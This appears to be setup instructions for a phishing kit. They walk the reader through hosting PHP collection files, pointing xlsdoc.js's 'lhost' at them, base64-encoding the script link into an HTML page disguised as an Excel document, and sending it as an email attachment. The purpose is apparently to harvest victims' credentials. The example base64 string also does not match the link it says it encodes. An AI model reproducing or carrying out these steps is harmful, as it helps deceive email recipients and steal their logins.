Do the following: Upload every file in the php_host and copy the link. 1. Change the value of "lhost" in the source file xlsdoc.js to the php_host link you copied. Example: var lhost ='http://localhost/xxx/kerosine/outlook/v3/php_host/' 2. Upload the xlsdoc.js file to your js_host and copy the link. 3. Go to https://www.base64encode.org/ to encode your copied link to base64 Example: link to encode: http://localhost/xxx/kerosine/outlook/v3/js_host/xlsdoc3.js?v=568933&e= base64 encode: aHR0cDovL2xvY2FsaG9zdC94eHgva2Vyb3NpbmUvb2ZmaWNlX2F0Y2gvZXhjZWwveGxzXzMvanNfaG9zdC94bHNkb2MzLmpzP3Y9NTY4OTMzJmU9 4. Change the value of "l" in the xls3_doc.html file to the base64 encoded character. Example: l ='aHR0cDovL2xvY2FsaG9zdC94eHgva2Vyb3NpbmUvb2ZmaWNlX2F0Y2gvZXhjZWwveGxzXzMvanNfaG9zdC94bHNkb2MzLmpzP3Y9NTY4OTMzJmU9'; After replacing, it should look like this.
... Save it as ur attachment file and enjoy :)